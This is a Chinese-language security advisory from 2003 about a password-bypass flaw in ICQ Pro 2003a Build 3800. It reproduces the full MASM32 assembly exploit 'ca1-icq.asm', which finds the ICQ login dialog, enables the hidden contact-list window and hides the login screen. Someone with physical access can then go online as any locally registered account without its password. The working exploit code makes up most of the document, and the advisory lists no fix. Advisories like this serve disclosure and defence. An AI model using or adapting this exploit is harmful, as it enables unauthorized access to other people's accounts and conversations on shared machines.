Mirabilis ICQ密码绕过漏洞发布时间:2003-07-05 更新时间:2003-07-05 严重程度:中 威胁程度:其它 错误类型:设计错误 利用方式:物理接触 BUGTRAQ ID:8111 受影响系统 Mirabilis ICQ 2003 a Build#3800详细描述 使用EnableWindow API激活ICQ联系列表窗口,在激活后,可以设置ICQ在线,并可以联系任意用户。 测试代码 ; ????????????????????????????????????????????????????? ???????????????????? ; CUT HERE - CUTE HERE - ca1-icq.asm - CUT HERE - CUT HERE BOF ; ----------------------------------------------------- -------------------- ; ; 07/02/2003 - ca1-icq.asm ; ICQ Password Bypass exploit. ; written by Cau? Moura Prado (aka ca1) ; mouraprado@infoguerra.com.br - ICQ 373313 ; ; This exploit allows you to login to ICQ server using any account registered *locally* ; no matter the 'save password' option is checked or not. High level security is also bypassed. ; All you have to do is run the exploit and set status property using your mouse when the flower ; is yellow. If you accidentally set status to offline then you will need to restart ICQ and run ; the exploit again. Greets to: Alex Demchenko(aka Coban), my cousin Rhenan for testing the exploit ; on his machine and that tiny Israeli company for starting the whole thing. Oh sure.. hehehe ; I can't forget... many kisses to those 3 chicks from my building for being so hot!! ;) ; ; ; uh-oh! ; ___ ; __/ \__ ; / \___/ \ Vulnerable: ; \__/+ +\__/ ICQ Pro 2003a Build #3800 ; / ~~~ ; \__/ \__/ Not Vulnerable: ; \___/ ICQ Lite alpha Build 1211 ; ICQ 2001b and ICQ 2002a ; tHe Flaw Power All other versions were not tested. ; coded with masm32 ; _______________________________________________________ ________________________exploit born in .br .386 .model flat, stdcall option casemap:none include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data szTextHigh byte 'Password Verification', 0 szTextLow byte 'Login to server', 0 szClassName byte '#32770', 0 .data? hWndLogin dword ? .code _entrypoint: invoke FindWindow, addr szClassName, addr szTextHigh mov hWndLogin, eax .if hWndLogin == 0 invoke FindWindow, addr szClassName, addr szTextLow mov hWndLogin, eax .endif invoke GetParent, hWndLogin invoke EnableWindow, eax, 1 ;Enable ICQ contact list invoke ShowWindow, hWndLogin, 0 ;get rid of Login screen (don't kill this window) invoke ExitProcess, 0 ;uhuu.. cya! i gotta sleep! end _entrypoint ; ????????????????????????????????????????????????????? ???????????????????? ; CUT HERE - CUTE HERE - ca1-icq.asm - CUT HERE - CUT HERE EOF ; ----------------------------------------------------- -------------------- 解决方案 尚无 相关信息 "Caua" Moura Prado <mouraprado@infoguerra.com.br>. 参考:http://www.securityfocus.com/archive/1/328114 相关主页:http://www.icq.com/ |